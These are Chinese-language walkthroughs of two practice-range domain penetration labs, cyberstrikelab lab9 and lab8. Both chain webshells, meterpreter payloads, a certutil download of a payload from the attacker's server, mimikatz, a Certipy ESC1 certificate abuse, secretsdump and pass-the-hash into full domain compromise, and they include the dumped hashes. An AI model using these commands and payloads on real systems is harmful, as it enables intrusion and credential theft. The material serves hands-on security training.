【域渗透】cyberstrikelab-lab9 cyberstrikelab-lab9第一台web 172.5.33.6sql的payloadhttp://172.5.33.6/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5 a66abb5684c45962d887564f08346e8d 解密 admin123456从robots.txt中发现admin地址，登录管理员账号在这里发现了html模板中包含了php代码在模板管理中修改index.html<?php @eval($_POST['a']);?> 一句话还是连不上的，尝试另一种马，好像也没有其他方法能打进去了，网上找了十多种写法的马，就这种有效<?php function simpleTransform($str, $offset = 1) { $transformed = ''; for ($i = 0; $i < strlen($str); $i++) { $transformed .= chr((ord($str[$i]) + $offset) % 256); } return $transformed; } $original = $_REQUEST["a"]; $transformed = simpleTransform($original, 3); function reverseTransform($str, $offset = 1) { $reversed = ''; for ($i = 0; $i < strlen($str); $i++) { $reversed .= chr((ord($str[$i]) - $offset + 256) % 256); } return $reversed; } $reversed = reverseTransform($transformed, 3); echo eval($reversed); 蚁剑连接生马msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 上线msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/bind_tcp; set RHOST 172.5.33.6; set LPORT 4444; exploit -j -z" 提权，上传fscanmeterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe 查ip，扫内网C:\phpstudy_pro\WWW>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::3f:d815:5529:b836%11 IPv4 Address. . . . . . . . . . . : 172.5.33.6 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.5.33.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::c133:dd94:56a9:bdcc%2 IPv4 Address. . . . . . . . . . . : 10.6.6.10 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.6.6.1 Tunnel adapter isatap.{730545FA-7DC0-4716-8AF2-678FFC6D1F1C}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{E6E2FD25-6949-4C86-A749-7F0F14616295}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.10/24 fscan.exe -h 10.6.6.10/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.6.6.10 is alive (icmp) Target 10.6.6.55 is alive (icmp) Target 10.6.6.88 is alive [*] Icmp alive hosts len is: 3 10.6.6.55:88 open 10.6.6.10:3306 open 10.6.6.88:445 open 10.6.6.55:445 open 10.6.6.10:445 open 10.6.6.88:139 open 10.6.6.55:139 open 10.6.6.10:139 open 10.6.6.88:135 open 10.6.6.55:135 open 10.6.6.10:135 open 10.6.6.55:80 open 10.6.6.10:80 open [*] alive ports len is: 13 start vulscan [+] NetInfo: [*]10.6.6.10 [->]WIN-784BAKDI0AC [->]172.5.33.6 [->]10.6.6.10 [+] NetInfo: [*]10.6.6.55 [->]DC [->]10.6.6.55 [+] NetInfo: [*]10.6.6.88 [->]cyberweb [->]10.6.6.88 [*] WebTitle:http://10.6.6.10 code:200 len:0 title:None [*] 10.6.6.55 [+]DC __MSBROWSE__\DC Windows Server 2016 Standard 14393 [*] 10.6.6.88 cyberstrikelab\CYBERWEB Windows Server 2016 Standard 14393 [*] 10.6.6.88 (Windows Server 2016 Standard 14393) [*] 10.6.6.55 (Windows Server 2016 Standard 14393) [*] WebTitle:http://10.6.6.55 code:200 len:703 title:IIS Windows Server [+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect 已完成 13/13 [*] 扫描结束,耗时: 1m8.3819491s 其中10.6.6.55被识别为域控制器10.6.6.88是域成员，主机名cyberweb，属于域cyberstrikelab10.6.6.55: 报告了一个漏洞 poc-yaml-active-directory-certsrv-detect。这强烈暗示该服务器上运行着 Active Directory 证书服务 (AD CS)，是后续攻击的关键入口。设置路由，配置代理meterpreter > run post/multi/manage/autoroute [*] Running module against WIN-784BAKDI0AC (172.5.33.6) [*] Searching for subnets to autoroute. [+] Route added to subnet 10.6.6.0/255.255.255.0 from host's routing table. [+] Route added to subnet 172.5.33.0/255.255.255.0 from host's routing table. meterpreter > bg [*] Backgrounding session 2... msf exploit(multi/handler) > use auxiliary/server/socks_proxy msf auxiliary(server/socks_proxy) > set VERSION 5 VERSION => 5 msf auxiliary(server/socks_proxy) > set SRVPORT 1080 SRVPORT => 1080 msf auxiliary(server/socks_proxy) > run -j [*] Auxiliary module running as background job 1. [*] Starting the SOCKS proxy server 配置系统代理配置文件proxychains4.conf┌──(root㉿kali)-[/data/windows_atk/domain_atk] └─# tail -n \6 /etc/proxychains4.conf [ProxyList] # add proxy here ... # meanwile # defaults set to "tor" socks5 127.0.0.1 1080 第二台fscan定向扫描，端口，发现3389能进行爆破，administrator密码为qwe123!@#C:\phpstudy_pro\WWW>fscan.exe -h 10.6.6.88 -p 1-10000 fscan.exe -h 10.6.6.88 -p 1-10000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.6.6.88 is alive [*] Icmp alive hosts len is: 1 10.6.6.88:445 open 10.6.6.88:139 open 10.6.6.88:135 open 10.6.6.88:3389 open 10.6.6.88:5985 open [*] alive ports len is: 5 start vulscan [+] NetInfo: [*]10.6.6.88 [->]cyberweb [->]10.6.6.88 [*] 10.6.6.88 (Windows Server 2016 Standard 14393) [*] WebTitle:http://10.6.6.88:5985 code:404 len:315 title:Not Found [*] 10.6.6.88 cyberstrikelab\CYBERWEB Windows Server 2016 Standard 14393 已完成 3/5 [-] (18/210) rdp 10.6.6.88:3389 administrator administrator1 remote error: tls: access denied 已完成 4/5 [-] (36/210) rdp 10.6.6.88:3389 administrator 123456789 remote error: tls: access denied 已完成 4/5 [-] (54/210) rdp 10.6.6.88:3389 administrator Aa12345 remote error: tls: access denied [+] RDP:10.6.6.88:3389:administrator qwe123!@# 已完成 5/5 [*] 扫描结束,耗时: 4m8.7461024s 在桌面找到第二个flag第三台看样子需要利用域控相关的漏洞了，永恒之蓝失败use exploit/multi/handler set rhost 10.6.6.88 run 共享data目录（便于传输文件），然后将正向马传上去，并执行proxychains rdesktop 10.6.6.88 -r disk:shell=/data 提权meterpreter > getuid Server username: CYBERWEB\Administrator meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 抓取域内hashC:\Users\Administrator\Desktop>mimikatz.exe mimikatz # privilege::debug mimikatz # sekurlsa::logonpasswords User Name : CYBERWEB$ Domain : cyberstrikelab NTLM : 5e0d5d7bacf2087dfd44ea47812b5165 User Name : CYBERWEB$ Domain : cyberstrikelab NTLM : 331dcbb88d1a4847c97eab7c1c168ac8 User Name : Administrator Domain : CYBERWEB NTLM : c377ba8a4dd52401bc404dbe49771bbc 在这个3.bat文件中发现了一个账号密码，cslab / cs1ab@wwe第三台：ADCSADCS是横向移动到域控制器的常见路径3.1 侦察ADCS服务之前fscan扫出来的[+] http://10.6.6.55 poc-yaml-active-directory-certsrv-detect 表明可能存在AD证书服务再次上线getsystem，获取一个系统权限的cmd，获取一下CA名字（需要提权到system），执行 certutil名称为 cyberstrikelab-DC-CA获取到CA名称后，我们需要确定攻击入口，并且寻找可利用的漏洞，比如ESC1漏洞┌──(root㉿kali)-[/data/demo] └─# proxychains certipy-ad find -u 'cslab@10.6.6.55' -password 'cs1ab@wwe' -dc-ip 10.6.6.55 -vulnerable -stdout [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:636 ... OK [*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Finding issuance policies [*] Found 15 issuance policies [*] Found 0 OIDs linked to templates [!] DNS resolution failed: The resolution lifetime expired after 5.403 seconds: Server Do53:10.6.6.55@53 answered The DNS operation timed out.; Server Do53:10.6.6.55@53 answered The DNS operation timed out.; Server Do53:10.6.6.55@53 answered The DNS operation timed out. [!] Use -debug to print a stacktrace [*] Retrieving CA configuration for 'cyberstrikelab-DC-CA' via RRP [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:445 <--socket error or timeout! [-] Failed to connect to remote registry: [Errno Connection error (224.0.0.1:445)] [Errno 111] Connection refused [-] Use -debug to print a stacktrace [!] Failed to get CA configuration for 'cyberstrikelab-DC-CA' via RRP: 'NoneType' object has no attribute 'request' [!] Use -debug to print a stacktrace [!] Could not retrieve configuration for 'cyberstrikelab-DC-CA' [*] Checking web enrollment for CA 'cyberstrikelab-DC-CA' @ 'DC.cyberstrikelab.com' [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:80 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... DC.cyberstrikelab.com:443 ... OK [*] Enumeration output: Certificate Authorities 0 CA Name : cyberstrikelab-DC-CA DNS Name : DC.cyberstrikelab.com Certificate Subject : CN=cyberstrikelab-DC-CA, DC=cyberstrikelab, DC=com Certificate Serial Number : 652A47597C7F03824B7815EBE474E40B Certificate Validity Start : 2025-04-22 07:45:38+00:00 Certificate Validity End : 2030-04-22 07:55:38+00:00 Web Enrollment HTTP Enabled : False HTTPS Enabled : False User Specified SAN : Unknown Request Disposition : Unknown Enforce Encryption for Requests : Unknown Active Policy : Unknown Disabled Extensions : Unknown Certificate Templates 0 Template Name : DC Display Name : DC Certificate Authorities : cyberstrikelab-DC-CA Enabled : True Client Authentication : True Enrollment Agent : False Any Purpose : False Enrollee Supplies Subject : True Certificate Name Flag : EnrolleeSuppliesSubject Extended Key Usage : Client Authentication Requires Manager Approval : False Requires Key Archival : False Authorized Signatures Required : 0 Schema Version : 2 Validity Period : 1 year Renewal Period : 6 weeks Minimum RSA Key Length : 2048 Template Created : 2025-04-22T07:58:11+00:00 Template Last Modified : 2025-04-22T07:58:11+00:00 Permissions Enrollment Permissions Enrollment Rights : CYBERSTRIKELAB.COM\Domain Users CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Enterprise Admins CYBERSTRIKELAB.COM\Authenticated Users Object Control Permissions Owner : CYBERSTRIKELAB.COM\Administrator Full Control Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Owner Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Dacl Principals : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Enterprise Admins Write Property Enroll : CYBERSTRIKELAB.COM\Domain Admins CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Enterprise Admins [+] User Enrollable Principals : CYBERSTRIKELAB.COM\Authenticated Users CYBERSTRIKELAB.COM\Domain Computers CYBERSTRIKELAB.COM\Domain Users [!] Vulnerabilities ESC1 : Enrollee supplies subject and template allows client authentication. 参数来源/原因作用proxychains之前建立的代理配置让命令流量通过跳板机(10.6.6.10)进入内网certipy-ad工具选择专门用于AD证书服务攻击的工具find子命令查找证书模板和证书颁发机构(CA)-u 'cslab@10.6.6.55'从mimikatz获得使用域用户cslab，@后可以是IP或域名-password 'cs1ab@wwe'从mimikatz/3.bat获得cslab用户的密码-dc-ip 10.6.6.55fscan扫描结果指定域控制器的IP地址-vulnerable攻击目标只显示存在已知漏洞的证书模板-stdout输出选项将结果输出到终端从结果中看出，存在ESC1漏洞Template Name: DC Enabled: True Client Authentication: True Enrollee Supplies Subject: True # ESC1漏洞关键点 Enrollment Rights: CYBERSTRIKELAB.COM\Domain Users # cslab可申请 Vulnerabilities: ESC1 3.2 利用ESC1漏洞3.2.1 创建机器账户（临时）利用cslab这个域用户在目标域中创建一个新的机器账户，结果会返回一个临时用户tmpuser$和密码信息proxychains certipy-ad -debug account create -u 'cslab@cyberstrikelab.com' -p 'cs1ab@wwe' -dc-ip 10.6.6.55 -user tmpuser -dns DC.cyberstrikelab.com 参数来源/原因作用account create子命令在域中创建新的机器账户-user tmpuser自定义创建名为tmpuser$的机器账户-dns DC.cyberstrikelab.com从fscan结果获得设置机器账户的DNS主机名为什么要创建？Machine模板限制：有些证书模板（如Machine）只允许机器账户申请 隐蔽性：避免直接使用cslab账户进行敏感操作 权限要求：机器账户可以申请更广泛的证书类型 3.2.2 以机器账户请求证书通过新创建的机器账户 tmpuser$ 向目标域控制器（10.6.6.55）的证书颁发机构（CA）申请一个 机器证书（要多运行几次，运行一次可能成功不了）proxychains certipy-ad req \ -u 'tmpuser$@cyberstrikelab.com' \ -p 'kQb8YIJOWcKq69w5' \ -ca 'cyberstrikelab-DC-CA' \ -target 10.6.6.55 \ -template 'Machine' \ -dc-ip 10.6.6.55 参数来源/原因作用req子命令请求证书-u 'tmpuser$@...'上一步创建使用新创建的机器账户-p 'kQb8YIJOWcKq69w5'上一步输出机器账户的密码-ca 'cyberstrikelab-DC-CA'certipy find结果证书颁发机构的名称-target 10.6.6.55fscan扫描结果CA服务器的IP地址-template 'Machine'侦察发现利用存在漏洞的模板用dc.pfx 证书文件向域控制器 (10.6.6.55) 进行身份认证，却报了Kerberos时钟偏差，攻击机和域控时间是不能相差5分钟以上的┌──(root㉿kali)-[/data/demo] └─# proxychains certipy-ad auth -pfx dc.pfx -dc-ip 10.6.6.55 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN DNS Host Name: 'DC.cyberstrikelab.com' [*] Using principal: 'dc$@cyberstrikelab.com' [*] Trying to get TGT... [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) [-] Use -debug to print a stacktrace [-] See the wiki for more information 3.2.3 修复Kerberos时间偏差查询域控时间proxychains net time -S 10.6.6.55 3.2.4 使用证书进行身份验证修改时间参数，这样就能执行成功了┌──(root㉿kali)-[/data/demo] └─# faketime '2025-12-11 22:57:01' proxychains certipy-ad -debug auth -pfx dc.pfx -dc-ip 10.6.6.55 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 Certipy v5.0.3 - by Oliver Lyak (ly4k) [+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations [+] Nameserver: '10.6.6.55' [+] DC IP: '10.6.6.55' [+] DC Host: '' [+] Target IP: '10.6.6.55' [+] Remote Name: '10.6.6.55' [+] Domain: '' [+] Username: '' [*] Certificate identities: [*] SAN DNS Host Name: 'DC.cyberstrikelab.com' [*] Using principal: 'dc$@cyberstrikelab.com' [*] Trying to get TGT... [+] Sending AS-REQ to KDC cyberstrikelab.com (10.6.6.55) [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [*] Got TGT [*] Saving credential cache to 'dc.ccache' [+] Attempting to write data to 'dc.ccache' [+] Data written to 'dc.ccache' [*] Wrote credential cache to 'dc.ccache' [*] Trying to retrieve NT hash for 'dc$' [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:88 ... OK [*] Got hash for 'dc$@cyberstrikelab.com': aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa 参数来源/原因作用auth子命令使用证书进行Kerberos认证-pfx dc.pfx上一步生成包含私钥的证书文件-debug调试选项显示详细过程信息认证过程：证书提交：向域控(10.6.6.55)提交dc.pfx证书身份验证：证书证明申请者是DC$（域控制器机器账户）TGT获取：成功获取DC$的Kerberos票证授予票证(TGT)哈希提取：从TGT中提取DC$的NTLM哈希3.2.5 获取NTLM哈希用域控的机器账号 dc$ 的 NT 哈希，进行 Pass-the-Hash 身份验证，尝试从域控中提取所有域用户的凭据信息（如 NTLM 哈希等）。┌──(root㉿kali)-[/data/demo] └─# proxychains impacket-secretsdump cyberstrikelab.com/dc\$@10.6.6.55 -hashes aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:445 ... OK [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:135 ... OK [proxychains] Strict chain ... 127.0.0.1:1080 ... 10.6.6.55:49669 ... OK Administrator:500:aad3b435b51404eeaad3b435b51404ee:28cfbc91020438f2a064a63fff9871fa::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: cyberstrikelab.com\cslab:1104:aad3b435b51404eeaad3b435b51404ee:39b0e84f13872f51efb3b8ba5018c517::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:97dc9f3da91660041ff88c17c8bbe7aa::: CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:7e5d2858c617c4ccf32b28241dc5b8b2::: tmpuser$:1105:aad3b435b51404eeaad3b435b51404ee:6fe8e4da8776622663eed7aba05de2f7::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:8583c13a9eca67e085ff0b68af74316bef0ebd3fb197bb235b76cbb72358f2ef Administrator:aes128-cts-hmac-sha1-96:6012285d474e3b60086965219ac7e31c Administrator:des-cbc-md5:208fc8f42fae3132 krbtgt:aes256-cts-hmac-sha1-96:0b820697b640266ced6843c4041131c1e3750000e00d47c0c597a82547927337 krbtgt:aes128-cts-hmac-sha1-96:c8f683e4cf2033fd75416667670e13bb krbtgt:des-cbc-md5:23dc674a76bf7adc cyberstrikelab.com\cslab:aes256-cts-hmac-sha1-96:34439b0bf9f6e1bf57d4d859215ed387a9c75e944ac053ddd1bc2f1e5b162048 cyberstrikelab.com\cslab:aes128-cts-hmac-sha1-96:84a132b5db39e2e652c08b8148fecb00 cyberstrikelab.com\cslab:des-cbc-md5:46f457ef2aad0e08 DC$:aes256-cts-hmac-sha1-96:2292c30804bdf9a61d170f48d38b30d3f843bb8310677ac7116e925f663edcbd DC$:aes128-cts-hmac-sha1-96:b583afdc96a04ec0ceda8dffdfa2e883 DC$:des-cbc-md5:a75801e31943a2dc CYBERWEB$:aes256-cts-hmac-sha1-96:c0418d75b0ef82607eadcd0f4793441aa17fc71df788e83a531ae87ce2cc92d9 CYBERWEB$:aes128-cts-hmac-sha1-96:3c602f53a3722c0a602a5adf2114354a CYBERWEB$:des-cbc-md5:6d5dd3261f38c862 tmpuser$:aes256-cts-hmac-sha1-96:952c1a920206e3a5852ea56dfdde77acb8270bf12628c29a7f702a9cdc8fb081 tmpuser$:aes128-cts-hmac-sha1-96:1174b1ae9d7f4b04fd5eef81bcbd2144 tmpuser$:des-cbc-md5:795d80ec58cdd5a8 [*] Cleaning up... 参数来源/原因作用impacket-secretsdump工具选择远程提取密码哈希的工具cyberstrikelab.com/dc\$@10.6.6.55目标指定使用dc$账户连接域控-hashes ...上一步获得提供dc$的LM和NTLM哈希dc\$中的\Shell转义防止$被Shell解释为变量3.2.6 PTHPTH，拿下域控，在根目录获取最后的flag┌──(root㉿kali)-[/data/demo] └─# proxychains impacket-psexec -hashes :28cfbc91020438f2a064a63fff9871fa cyberstrikelab.com/administrator@10.6.6.55      

【域渗透】cyberstrikelab-lab8 cyberstrikelab-lab8ZZZCMS目录扫描到后台地址admin弱口令 admin / admin123456发现版本信息 V1.6.1 zzzcms漏洞利用方法https://xz.aliyun.com/news/4103修改内容为{if:assert($_request[phpinfo()])}phpinfo();{end if} 访问你修改的这个页面http://172.50.12.33/search/ 一句话连接不上，那就执行系统命令，找到flag1{if:assert($_request[system($_POST[a])])};{end if} 本机开启http服务生成木马msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe 从本机下载木马certutil -urlcache -split -f http://172.16.233.2:8000/shell.exe shell.exe msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/bind_tcp; set RHOST 172.50.12.33; set LPORT 4444; exploit -j -z" 执行木马，上线getsystem提权meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getsystem ...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM 上传fscanupload /data/windows_atk/scan_info/fscan.exe 却没有发现另外一台主机C:\phpstudy_pro\WWW\search>ipconfig ipconfig Windows IP Configuration Ethernet adapter ��̫��ʵ�� 1: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::b476:ff8c:347:ef73%5 IPv4 Address. . . . . . . . . . . : 172.50.12.33 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.50.12.233 Ethernet adapter ��̫��ʵ�� 2: Connection-specific DNS Suffix . : Link-local IPv6 Address . . . . . : fe80::47e:778d:c27:a958%4 IPv4 Address. . . . . . . . . . . : 10.5.5.2 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.5.5.1 Tunnel adapter Reusable ISATAP Interface {539A3334-B0ED-49F4-B694-5F6E0A7AB805}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : Tunnel adapter isatap.{4A835BE8-816A-4266-AF10-0ADC1C46A06E}: Media State . . . . . . . . . . . : Media disconnected Connection-specific DNS Suffix . : C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.1 start infoscan (icmp) Target 10.5.5.2 is alive [*] Icmp alive hosts len is: 1 10.5.5.2:3306 open 10.5.5.2:445 open 10.5.5.2:139 open 10.5.5.2:135 open 10.5.5.2:80 open [*] alive ports len is: 5 start vulscan [+] NetInfo: [*]10.5.5.2 [->]WIN-NQOLAOUO8C1 [->]172.50.12.33 [->]10.5.5.2 [*] WebTitle:http://10.5.5.2 code:200 len:20013 title:cyberstrikelabzzzcms 已完成 5/5 [*] 扫描结束,耗时: 18.4658195s 使用命令扫C:\phpstudy_pro\WWW\search>for /l %i in (1,1,255) do @ping 10.5.5.%i -w 1 -n 1 | find /i "ttl" for /l %i in (1,1,255) do @ping 10.5.5.%i -w 1 -n 1 | find /i "ttl" Reply from 10.5.5.2: bytes=32 time<1ms TTL=128 Reply from 10.5.5.33: bytes=32 time=1ms TTL=128 Reply from 10.5.5.66: bytes=32 time=1ms TTL=128 主机33和66存活的，再扫，没有任何内容C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.33 -p 1-65000 fscan.exe -h 10.5.5.33 -p 1-65000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan [*] alive ports len is: 0 start vulscan 已完成 0/0 [*] 扫描结束,耗时: 7.1787098s 设置路由run post/multi/manage/autoroute 使用下面的这些msf模块扫端口都不行scanner/portscan/tcp scanner/portscan/syn 添加一个用户看看什么情况# 创建新用户，并设置密码： net user xiaoyu 123@abc /add # 将新用户添加到管理员组： net localgroup Administrators xiaoyu /add # 关闭Windows防火墙 netsh advfirewall set allprofiles state off # 修改注册表，强制启用远程桌面服务（RDP）,允许通过远程桌面（3389端口）连接 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 把360退了，使用远程连接后的cmd扫这样能扫出来，那会不会是系统用户的问题，我提权了，重新反弹shellmsf exploit(multi/handler) > run [*] Started bind TCP handler agAInst 172.50.12.33:4444 [*] Sending stage (177734 bytes) to 172.50.12.33 [*] Meterpreter session 2 opened (10.10.10.173:35111 -> 172.50.12.33:4444) at 2025-12-11 04:32:10 -0500 meterpreter > shell Process 10896 created. Channel 1 created. Microsoft Windows [�汾 10.0.14393] (c) 2016 Microsoft Corporation����������Ȩ���� C:\phpstudy_pro\WWW\search>chcp 65001 chcp 65001 Active code page: 65001 C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.2/24 fscan.exe -h 10.5.5.2/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 10.5.5.2 is alive (icmp) Target 10.5.5.33 is alive (icmp) Target 10.5.5.66 is alive [*] Icmp alive hosts len is: 3 10.5.5.66:88 open 10.5.5.2:3306 open 10.5.5.66:445 open 10.5.5.33:445 open 10.5.5.2:445 open 10.5.5.66:139 open 10.5.5.33:139 open 10.5.5.2:139 open 10.5.5.33:135 open 10.5.5.2:135 open 10.5.5.2:80 open 10.5.5.66:135 open [*] alive ports len is: 12 start vulscan [*] NetInfo [*]10.5.5.2 [->]WIN-NQOLAOUO8C1 [->]172.50.12.33 [->]10.5.5.2 [*] NetInfo [*]10.5.5.33 [->]cyberweb [->]10.5.5.33 [*] NetInfo [*]10.5.5.66 [->]DC [->]10.5.5.66 [*] WebTitle http://10.5.5.2 code:200 len:20013 title:cyberstrikelabzzzcms [*] OsInfo 10.5.5.66 (Windows Server 2012 R2 Standard 9600) [*] OsInfo 10.5.5.33 (Windows Server 2016 Standard 14393) [*] NetBios 10.5.5.33 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393 已完成 12/12 [*] 扫描结束,耗时: 8.5703463s 看来就是这个问题，重新设置路由run post/multi/manage/autoroute 设置代理use auxiliary/server/socks_proxy set VERSION 5 set SRVPORT 1080 run -j fscan.exe -h 10.5.5.33 -p 1-10000C:\phpstudy_pro\WWW\search>fscan.exe -h 10.5.5.33 -p 1-10000 fscan.exe -h 10.5.5.33 -p 1-10000 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 10.5.5.33:445 open 10.5.5.33:139 open 10.5.5.33:135 open 10.5.5.33:3389 open 10.5.5.33:5985 open [*] alive ports len is: 5 start vulscan [*] NetInfo [*]10.5.5.33 [->]cyberweb [->]10.5.5.33 [*] NetBios 10.5.5.33 cyberweb.cyberstrikelab.com Windows Server 2016 Standard 14393 [*] OsInfo 10.5.5.33 (Windows Server 2016 Standard 14393) [*] WebTitle http://10.5.5.33:5985 code:404 len:315 title:Not Found 已完成 4/5 [-] (58/210) rdp 10.5.5.33:3389 administrator Aa123456 remote error: tls: access denied 已完成 4/5 [-] (118/210) rdp 10.5.5.33:3389 admin abc123456 remote error: tls: access denied 已完成 4/5 [-] (178/210) rdp 10.5.5.33:3389 guest 666666 remote error: tls: access denied 已完成 5/5 [*] 扫描结束,耗时: 3m59.4511788s 扫到3389端口，试试能不能爆破出密码，admin@123456把目录传进去，要把马传进去proxychAIns rdesktop 10.5.5.33 -r disk:shell=/data/demo 传shellmsf开启监听，上线use exploit/multi/handler set PAYLOAD windows/meterpreter/bind_tcp set RHOST 10.5.5.33 set LPORT 4444 非约束委派相关文章学习连接：https://forum.butian.net/share/1591可能是环境出问题了（排除版本问题，我切换了多个AdFind版本），一直凭据出错，不能正常执行命令，拿到了33的系统权限也是一样，添加管理员账户执行AdFind照样错误，下面图来自网上这里的图来自 https://www.hyhforever.top/posts/2025/07/cyberstrikelab-lab8/# ADFind查询非约束委派账户 AdFind.exe -b "DC=cyberstrikelab,DC=com" -f 